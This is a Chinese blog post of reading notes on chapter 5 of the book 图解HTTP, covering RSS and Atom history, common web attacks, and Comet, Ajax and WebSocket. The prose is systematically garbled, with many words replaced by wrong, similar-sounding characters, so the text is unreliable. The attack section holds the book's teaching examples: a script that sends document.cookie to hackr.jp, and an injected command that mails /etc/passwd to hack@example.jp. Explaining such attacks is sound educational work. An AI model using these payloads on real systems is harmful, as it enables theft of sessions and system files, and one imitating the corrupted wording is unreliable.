关于http:五图解HTTP-RSS和网络攻击

tjhttp 五、《图解 HTTP》- RSS 和网络攻击

本节是对于 RSS 和常见网络攻击的探讨，RSS 仿佛总是被认为“为什么还没有隐没“的货色，然而集体通过理解和体验之后发现意外的挺好用的，这里补充了一下 RSS 历史，如果感兴趣能够拜访集体在参考资料提供了一些应用 RSS 的软件和更具体介绍链接。

而对于网络攻击的局部有时候会成为面试的考点，理解根底的网络攻击伎俩和常见的防备形式还是有必要的。

5.1 RSS

5.1.1 RSS 历史

上面大部分内容来自维基百科，因为多半是实践内容，不做过多解释。

RSS（简略信息聚合）和 Atom 都是针对新闻和博客日志信息文档格局的合称。

RSS（英文全称：RDF Site Summary 或 Really Simple Syndication）中文译作繁难信息聚合，也称聚合内容，是一种消息来源格局标准，用以聚合多个网站更新的内容并主动告诉网站订阅者。

应用 RSS 后，网站订阅者便无需再手动查看网站是否有新的内容，同时 RSS 可将多个网站更新的内容进行整合，以摘要的模式出现，有助于订阅者疾速获取重要信息，并选择性地点阅查看。

RSS 的历史版本更新如下：

• RSS 0.9（RDF Site Summary）：最后的 RSS 版本。1999 年 3 月由网 景通信公司自行开发用于其门户网站。根底构图创立在初期的 RDF 规格上。
• RSS 0.91（Rich Site Summary）：在 RSS0.9 的根底上扩大元素，于 1999 年 7 月开发结束。非 RDF 规格，应用 XML 形式编写。
• RSS 1.0（RDF Site Summary）：RSS 规格正处于混乱状态。2000 年 12 月由 RSS-DEV 工作组再次采纳 RSS0.9 中应用的 RDF 规格公布。
• RSS2.0（Really Simple Syndication）：非 RSS1.0 倒退路线。减少支 持 RSS0.91 的兼容性，2000 年 12 月由 UserLand Software 公司开发完 成。

倒退到当初 RSS 有几个不同的版本，分为两个 次要分支（RDF 和 2.X）。

RDF（或 RSS 1.X）分支包含以下版本：

• RSS 0.90 是最后的 Netscape RSS 版本。此 RSS 称为 _RDF 站点摘要_，但基于 RDF 规范的晚期工作草案，与最终的 RDF 倡议不兼容。
• RSS 1.0 是 RSS-DEV 工作组的凋谢格局，再次代表 _RDF 站点摘要_。RSS 1.0 是一种像 RSS 0.90 一样的 RDF 格局，但与它不齐全兼容，因为 1.0 是基于最终的 RDF 1.0 举荐规范。
• RSS 1.1 也是一种凋谢格局，旨在更新和替换 RSS 1.0。该标准是一个独立的草案，不受 RSS-Dev 工作组或任何其余组织的任何反对或认可。

RSS 2.X 分支（最后是 UserLand，当初是 Harvard）包含以下版本：

• RSS 0.91 是 Netscape 公布的简化 RSS 版本，也是 Userland Software 的 Dave Winer 最后提倡的简化版本的版本号。Netscape 版本当初被称为_Rich Site Summary_; 这不再是 RDF 格局，但绝对易于应用。
• RSS 0.92 到 0.94 是 RSS 0.91 格局的扩大，它们大多彼此兼容，并且与 Winer 版本的 RSS 0.91 兼容，但与 RSS 0.90 不兼容。
• RSS 2.0.1 的外部版本号为 2.0。RSS 2.0.1 被发表为“解冻”，但在公布后不久依然更新，没有更改版本号。RSS 当初代表_真正简略的整合_。此版本中的次要更改是应用 XML 命名空间的显式扩大机制。

5.1.2 Atom

同样没怎么接触的货色，整顿百科的内容如下。

Atom是一对彼此相干的规范。Atom 供稿格局（Atom Syndication Format）是用于网站消息来源，基于 XML 的文档格局 ；而 Atom 出版协定（Atom Publishing Protocol，简称 AtomPub 或 APP）是用于新增及批改网络资源， 基于 HTTP 的协定。

它借鉴了各种版本 RSS 的应用教训，被许多的聚合工具宽泛应用在公布和应用上。Atom 供稿格局设计作为 RSS 的替代品；而 Atom 出版协定用来取代现有的多种公布形式（如 Blogger API 和 LiveJournal XML-RPC Client/Server Protocol）。Google 提供的多种服务正在应用 Atom。Google Data API（GData）亦基于 Atom。

RSS 和 Atom)都失去广泛支持，并与所有次要的消费者提要阅读器兼容。RSS 因为晚期订阅源读取器的反对而失去了更宽泛的利用。

从技术上讲，Atom 有几个长处：限度较少的许可，IANA注册的 MIME 类型，XML 命名空间，URI 反对，RELAX NG** 反对。

Atom 具备以下两种规范。

Atom 供稿格局（Atom Syndication Format）：为公布内容而制订的 网站消息来源格局，单讲 Atom 时，就是指此规范。

Atom 出版协定（Atom Publishing Protocol）：为 Web 上内容的新增 或批改而制订的协定。

对于更多的内容，能够参考这两个网站：

https://www.rfc-editor.org/rfc/rfc4287.txt

https://www.ibm.com/docs/en/cics-ts/5.3?topic=standards-atom-syndication-format

5.1.3 RSS 意义

咱们能够晓得 RSS 少数状况下用于网络博客利用的订阅和本人的喜爱的网站信息同步更新获取，集体认为相似换种模式的微信公众号，不过最近这几年微信也在扭转算法，推送也从以前的一股脑推送到当初的依据用户的爱好推送。

RSS 放到当初还有意义么？为什么还有人在用呢？RSS 订阅最大的意义是 过滤噪声，RSS 订阅的浏览须要依赖阅读器，关于软件应用这一部分的内容请查看“参考资料”。

RSS 有几个显著长处：

1. 由被动获取信息到被动获取信息。
2. 躲避各互联网公司的算法。
3. 屏蔽互联网的噪声。
4. 返璞归真，并不是所有的“时代倒退”都是错的。

这几点根本也决定了很多平台不会喜爱这货色，因为挡着财路了。

RSS 当然有他的毛病，最大的毛病是 太过于小众了，所以它有那一天会隐没都不奇怪，因为简直没有利益可图，所以目前在竞争的反倒是做规范的几个权势，也是比拟常见的状况。

实际上，当初还有相当一部分人还在应用 RSS。

5.2 WEB 攻打

HTTP 为了实现其简略高效，在 HTTP1.X 中放弃了无状态的特色，所以自身对于平安防护的能力简直为 0，基本上年年都能够看到重大的网络攻击安全事故，因为依据墨菲定律这种事件总会产生。

攻击方式次要分为主动攻击和被动攻打。

被动攻打的形式次要是利用钓鱼网站或者链接疏导用户点击，之后运行攻打代码获取用户电脑的个人信息等，主动攻击则是相似 DDos 的流量冲击。

少数状况下被动攻打较多，因为简直没有啥人工成本，而主动攻击基本上是一些具备不小的流量价值的网站，常常会受到相似的攻打。

上面依据书中内容列巨额常见的 WEB 攻打伎俩。

5.2.1 XSS 攻打

首先是较为常见的是 XSS 攻打（跨站脚本攻打），次要通过非法的 HTML 标签或者 JS 脚本实现攻打，通过事后设置网站陷阱，用户在填写集体的敏感信息的时候就有可能中招。

http://example.jp/login?ID="> <script>var+f=document.getElementById("login");+f.action="h </script><span+s=" 对申请时对应的 HTML 源代码（摘录）

除了获取登录信息，还有一种伎俩是通过 JS 脚本抓取 Cookie 的内容间接获取用户的个人信息，比方应用像是上面这样的代码：

var content = escape(document.cookie); 
document.write("<img src=http://hackr.jp/?"); 
document.write(content); 
document.write(">");

5.2.2 SQL 注入

SQL 注入次要产生在编程开发人员看待 SQL 不谨严遗留破绽，进而产生 SQL 注入攻打。

比方书中提到了利用相似这样的伎俩，通过在 SQL 参数中注入单引号形式，导致后续的 SQL 内容生效，来获取一些无法访问的信息。

解决的方法也比较简单，须要留神尽量审慎或者防止应用占位符，而是应用特殊符号比方“？”的形式进行参数替换而不是间接嵌入 SQL。

SQL 显著也是利用了 SQL 语法的规定实现这一特殊字符的注入操作，当然更多状况下是网站编程人员不谨严导致的。

如果你认为当初这种事件产生的很少就大错特错了，国内仍然存在大量的网站连最为根底的 SQL 注入问题都没有进行防备。

5.2.3 OS 攻打

OS 攻打不算少见，云服务器中这几年比拟常见的挖矿脚本算是一种，这种追随开源组件带来的病毒厌恶又恶心。

针对 OS 攻打具体案例能够看上面应用获取用户邮件的形式找出 OS 的破绽，并且通过管道符等命令疾速窃取邮箱账户和明码达成盗号的目标。

my $adr = $q->param('mailaddress');

open(MAIL, "| /usr/sbin/sendmail $adr"); 

print MAIL "From: info@example.com\n";

攻击者将上面的值指定作为邮件地址。

; cat /etc/passwd | mail hack@example.jp

程序接管该值，形成以下的命令组合。

| /usr/sbin/sendmail ; cat /etc/passwd | mail [hack@example.jp](mailto:hack@example.jp)

5.2.4 DDos 攻打

十分间接并且粗犷横蛮的攻击方式，通过大规模流量击倒指标服务器，让指标服务器始终处于瘫痪状态无法访问。所以也叫做 拒绝服务攻打 和服务进行攻打。

DDos 的攻击方式次要是上面两种：

• 集中拜访资源过载，实际上是植入须要大量运算的无意义程序耗尽计算机资源。
• 攻打系统漏洞以致服务进行。通常这种破绽来源于开源代码的破绽。比方臭名远扬的 FastJson 三天两头的爆出破绽须要修复。

对于攻击者来说，DDos 老本很低，因为国外能够通过大量购买肉鸡服务器实现这一操作，然而对于一个在线客户拜访的独立网站来说，要防护的计划实际上并不多，少数时候只能“烧钱”来解决问题，起因是无奈分辨攻打起源。

5.2.5 目录遍历攻打

目录攻打是利用对于某些权限敏感的门路拜访获取用户明码的行为，比方通过脚本尝试获取到 /etc/passwd 的相干信息。

5.2.6 跨站点申请伪造

也就是常说的CSRF 攻打，同样是应用陷阱的形式诱导用户操作，在获取到用户信息之后通过用户的身份实现一些“越界”操作。

5.2.7 会话攻打

会话攻打，对于很多网站 Session 信息中存储了和用户登录的相干信息，通过各种伎俩揣测或者获取用户 ID 信息，而后依据这些信息伪造用户身份实现登录操作。

下面这种攻打是会话劫持，通过设陷阱或者暴力形式获取信息，另一种是利用用户登录操作，应用雷同的用户 ID 期待用户操作实现之后拿到以后的会话信息拜访，有点相似悄咪咪更在他人身后进门不被发现，等进去只会守到客人来到再进去偷东西。

对于这样的信息防护，简略的解决能够在认证的时候退出 IP 校验规定，如果同一身份信息然而从不同的 IP 收回，则能够认为是一种会话内容窃取。

5.2.8 点击劫持

利用网络 iframe 和通明元素的个性，在原始页面上笼罩被点击按钮，这时候同样会把相干的信息带过来。

5.2.9 明码破解

明码破解的伎俩通常是 穷举法 和字典攻打，穷举法通常利用用户喜爱把相似生日或者姓名无关的信息作为明码的状况，通过试错的形式进行强制破解，通过制订规定暴力破解，当然通过穷举破解的前提是秘钥的长度够小，另外还有一种是对于已加密到密文进行破解，同样应用查问字典的形式进行试错。

常见的加密破解形式为上面几种：

• 通过穷举法·字典攻打进行类推：也就是所谓的通过散列函数联合穷举法和字典攻打手法，这种手法实用于应用通用加密函数加密的零碎。
• 彩虹表：彩虹表（Rainbow Table）是由明文明码及与之对应的散列值形成的一张数据库表，被叫做彩虹表是因为外面蕴含了各种加密函数加密的密文像是“彩虹”一样，目标是缩小穷举和字典法的工夫开销。
  彩虹表是一种比拟无效的破解伎俩。

目前在 https://freerainbowtables.com/ 这个网站上颁布的一张由大小写字母及数字全排列的 1~8 位字符串对应的 MD5 散列值形成的彩虹表

• 拿到密钥：通过网路劫持等伎俩获取到用户公钥并且通过伪造密钥的办法申请指标服务器，最终实现坑骗服务器获取密文的破解手法。
• 加密算法的破绽：找算法的破绽，对于目前支流的信息加密算法根本很难找到破绽，所以算是成功率十分非常低的伎俩。

避免明码破解的形式是对于明码谬误次数的校验以及短时间内频繁申请进行限度，对于已加密的数据，在原有到明码密文还会退出一个叫做“盐值”的内容。

5.2.10 后门程序

后门程序在发现破绽的时候设置入口而不是间接攻打。通过后门程序在破绽上捣鬼，能够实现在日常拜访无感知问题的状况下实现信息窃取，因为非常难以发现，后门程序是危险零碎很高的 WEB 攻击方式。

• 开发阶段作为 Debug 调用的后门程序。
• 开发者为了本身利益植入的后门程序。
• 攻击者通过某种办法设置的后门程序。

这里简略说一下第二种在有不少的理论案例，比方简略粗犷的领取网站通过后门程序随机把收款码替换的案例。

还有一种是相似“薅羊毛”的后台程序，通过每一笔订单收取“0.00*N1”的“手续费”，这样的后台程序如果不是火眼金睛根本难以发现，同时尽管数字很小，然而用户量很大的状况下，这种支出实际上是一笔巨款。

这些货色都是高压线，千万不要尝试哟！

5.3 瓶颈和“将来”倒退

以后咱们当初看这本书书中提到的将来都曾经实现了，这些内容简略看看即可。

• SPDY（HTTP2.0）
• Ajax
• WebSocket
• Comet
• HTTP 长连贯

5.3.1 SPDY – The Chromium Projects

这部分内容在 [[《图解 HTTP》- HTTP 协定历史倒退（重点）]] 中的 HTTP2.0 的历史进行了具体论述，这里不再反复介绍。

5.3.2 Ajax

Ajax 的核心技术是名为 XMLHttpRequest 的 API，通过 JavaScript 脚本语言的调用就能和服务器进行 HTTP 通信，利用 Ajax 能够实现 WEB 页面部分更新的操作。

5.3.3 Comet

这个单词的本来含意叫做“彗星”，在 WebSocket 技术没有齐全解决浏览器兼容问题之前，“服务器推”（Comet 技术）存在宽泛的利用需要，需要推动技术的倒退，Comet 技术在 Web 端即时通讯的计划里简直不可或缺。

在此之前的技术：

在 Comet 之前还有一种更早的由服务器推送实现的反向内容推送，那就是被时代逐步摈弃的 Flash，然而应用Flash 的前提是用户被迫装置。Flash能够很轻松的实现 JS 调用，并且提供 XMLSocket 类接口实现了反向推送，所以很长一段时间是服务端推送的惟一方法。

还有一种技术是早就死掉的 Java Applet，通过 java.net.Socket 或 java.net.DatagramSocket 或 java.net.MulticastSocket 实现套接字连贯并且服务端推送，然而它有一个致命缺点是 Applet 无奈和 JavaScript 联合实现实时页面的动静刷新。

Comet如何倒退的？

实时 Comet 自身也是依赖着 Ajax 的遍及扩大的，所以 Comet 被定义为：基于 HTTP 长连贯、毋庸在浏览器端装置插件的“服务器推”技术为“Comet”。

Comet实现形式？

Commet 的实现形式有两种，第一种是 基于 AJAX 的长轮询（long-polling）形式 ，第二种是 基于 Iframe 及 htmlfile 的流（streaming）形式。

首先简述一下第一种形式，长轮询的形式须要一直和和服务端建设 HTTP 握手连贯，每次连贯会节约大量不必要的网络开销。

第二种是应用 iframe 嵌套及 html file 的流（streaming）形式的形式，iframe 这个标签尽管早就被 HTML 不倡议应用（并且废除了），然而已经是作为实现长链接的多数抉择之一仍然施展重要作用。

原理非常简单，就是在 iframe 的 Src 标签当中嵌套获取数据的 URL，在 Iframe 中不返回页面而是返回客户端调用的 JS 代码，客户端收到服务端返回的 JS 调动就会去执行代码。

然而显然 iframe 在很多浏览器中是不容许这种嵌套 JS 代码调用的，所以 Google 后续提出应用 ActiveX，ActiveX 其实就是 封装了一个基于 iframe 和 html file 的 JavaScript comet 对象。

然而因为 IE 旧版本和 Google 和 FIreFox 互不相容，所以这个货色在过来已经恶心至极（在 IE 的兼容上），须要前端通过一些模板代码优化和解决，比拟麻烦。

而应用 Comet 的形式是一旦发现服务端呈现更新就立马返回响应。应用提早响应的形式模仿推送性能，收到申请 Comet 会先将响应置于挂起状态，当服务器端有内容更新时，再返回该响应。

相干开源组件

• Pushlet：开源的 Comet 框架，应用了观察者模型
• IComet：C++ 语言开发的反对百万并发连贯的 comet/push 服务器

Comet 是过来解决服务端推送问题的过渡“插件”，尽管肯定水平解决了问题，然而属于围魏救赵，实质上客户端发送申请这一点没有基本扭转。

所以Comet 不须要破费过多精力，更多细节能够参考 ” 参考资料局部的内容 ”。

5.3.4 HTTP 长连贯个性

除了Comet 自身的诸多限度外，HTTP 长连贯自身也有一些值得注意的个性。

1. HTTP1.1 长连贯存在限度，那就是客户端不应该与服务器端建设超过两个的 HTTP 连贯，在 IE 体现为超过两个以上文件下载被阻止。
2. 服务器端的性能和可扩展性，如果 Ajax 存在频繁申请，Comet 会长工夫占用一个连贯，在 JAVA1.4 中提供的 Java.io 尽管能够实现连贯闲暇的时候把线程资源还给线程池，然而应答 Ajax 频繁申请仍然会存在一些问题，使得闲暇连贯较少而影响性能。为此 Jetty 存在一些针对 Comet 的优化，在相干文章“AJAX，Comet and Jetty”中进行过具体介绍（然而很遗憾目前这篇文章曾经找不到了）。
3. 管制信息和数据展现拆散，HTTP 长连贯敞开须要依赖客户端发送敞开申请，然而很多时候客户端会自行敞开网页，服务端须要把阻塞期待客户端申请转变为敞开。为了解决这个问题在 AJAX 的实现形式中会异步的发送一个敞开申请。基于 iframe 的形式则须要 2 个 Iframe，一个负责显示，另一个负责替换管制信息，管制申请能疾速响应不至于被显示信息阻塞。

4. 维持心跳，所谓的维持心跳是服务端须要一种查看客户端是否流动的查看机制，定期检查客户端是否敞开连贯，如果敞开连贯则会进入到阻塞读的环节，如果客户端曾经敞开则会进入异样状态并且敞开连贯开释资源。

   留神如果是基于 AJAX 的长轮询形式须要采纳 计时器 的形式，通过计时器计时当客户端很长时间没发送申请会认为客户端曾经自行敞开并且同样开释资源，保障服务器资源无效利用。

   最初如果本身呈现问题，也须要告诉客户端而后开释资源，避免破绽溢出。

5.3.5 WebSocket

原本属于 HTML5 的规范一部分，后果在呈现之后逐步脱离 HTML5 成为一个独立的协定，古代支流浏览器根本全副兼容 WebSocket（除了 IE）。

WebSocket 通信协议在 2011 年 12 月 11 日，被 RFC 6455 - The WebSocket Protocol 定为规范。

WebSocket 解决 Comet 和 Ajax 的痛点问题是一旦 Web 服务器与客户端之间建设起 WebSocket 协定的通信连贯，之后所有的通信都依附这个专用协定进行，也就是说相似协定“降级”，因为不须要客户端被动获取数据，服务端在建设连贯之后能够间接向客户端推送数据。

设计目标：最后目标是解决 Ajax 和 Conmet 的 XmlHttpRequest 附带所引发的缺点。这两个组件的基本缺点是 只能由客户端实现申请发送。

当然并不是说只应用客户端申请无奈实现内容实时更新，有一种方法是应用应用轮询的形式获取信息然而轮询意味着一直的和服务器申请连贯，还有作为过渡的兼容组件 ” 彗星 ”。

对于 WebSocket 有上面的特点：

（1）建设在 TCP 协定之上，高低兼容。

（2）与 HTTP 协定有着良好的兼容性。默认端口也是 80 和 443，并且握手阶段采纳 HTTP 协定，因而握手时不容易屏蔽，能借助 HTTP 进行代理。

（3）轻量化响应格局，高效。

（4）能够发送文本，也能够发送二进制数据。

（5）没有同源限度，客户端能够与任意服务器通信。

（6）协定标识符是ws（如果加密，则为wss），服务器网址就是 URL。

（7）缩小通信量，因为一旦建设连贯就会始终放弃连贯状态，所以 HTTP 首部的开销也会缩小。

案例：

// Create WebSocket connection.
const socket = new WebSocket('ws://localhost:8080');

// Connection opened
socket.addEventListener('open', function (event) {socket.send('Hello Server!');
});

// Listen for messages
socket.addEventListener('message', function (event) {console.log('Message from server', event.data);
});

根本的步骤如下：

1. 握手申请。当建设 HTTP 连贯之后，利用 HTTP 的 Upgrade 首部字段，告知服务器通信协议产生扭转，能够看看做 HTTP 连贯之后再次发动一次“降级协定”申请。

GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: http://example.com
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13

备注：Sec-WebSocket-Key 字段内记录着握手过程中必不可少的键值。Sec-WebSocket-Protocol 字段内记录应用的子协定。

2. 因为最后的 HTTP 连贯可能存在数据交互，所以对于之前的申请返回状态码 101 Switching Protocols 的响应。

如果不晓得 101 是什么没啥关系，看看 [[《图解 HTTP》- 状态码]] 这一章会发现实际上就是个没什么影响的提示信息，上面的解释自行翻译，有利于加深印象。

最初书中的 WebSocket 的图画的不错，根本能够直观感触到 WebSocket 这个独自的协定是如何和 HTTP 配合的。

对于 WebSocket 有很多细节能够开展，碍于本书面向最根本初学者缘故，所以这篇读书笔记不做过多解释，这里也上网找了一些材料作为拓展,，具体内容请浏览“参考资料”局部。

WEB 历史

WEB 历史讲述了 HTML+CSS+JAVASCRIPT 和 DOM，另外介绍了当初曾经不应用的 Servlet，这些技术中须要提一下的是 Servlet，这个看似和当初 WEB 没什么关系的技术，实际上仍然沉闷，只不过换了一种模式被 Spring 包装隐没了，所以如果想要学好 Web，把握吃透 Servlet 是必不可少的。

5.4 参考资料：

5.4.1 RSS

如果你对 RSS 有趣味，那么倡议花点工夫把上面几个链接点一遍：

• RSS – Wikipedia
• RSS – 维基百科，自在的百科全书 (wikipedia.org)
• (3 封私信) 你必读的 RSS 订阅源有哪些？– 知乎 (zhihu.com)
• 晓得 RSS 的人越少，我就越心愿它能被人晓得！– 知乎 (zhihu.com)

5.4.2 XSS

Types of attacks – Web security | MDN (mozilla.org)

5.4.3 Websocket

最初是无关 Websocket 的 API 参考局部：

WebSocket – Web API 接口参考 | MDN (mozilla.org)

以及一位阿里大佬介绍的 WebSocket 的内容，另外最初相干连贯的参考资料比拟有浏览价值，倡议珍藏之：

WebSocket 协定：5 分钟从入门到精通 – 程序猿小卡 – 博客园 (cnblogs.com)

5.4.4 SPDY

SPDY 的参考网站：http://www.chromium.org/spdy/

这部分内容咱们能够联合 HTTP2.0 进行扩大，因为是曾经实现的货色，并且查看相干的新个性反对。

5.4.5 Comet

Comet 技术详解：基于 HTTP 长连贯的 Web 端实时通信技术 – 知乎 (zhihu.com)

对于更多 Comet 的百科和历史倒退能够看上面的百科，本大节的内容也蕴含在百科内具体介绍：

Comet (programming) – Wikipedia?cm_mc_uid=72410021035714633836363&cm_mc_sid_50200000=1464236784)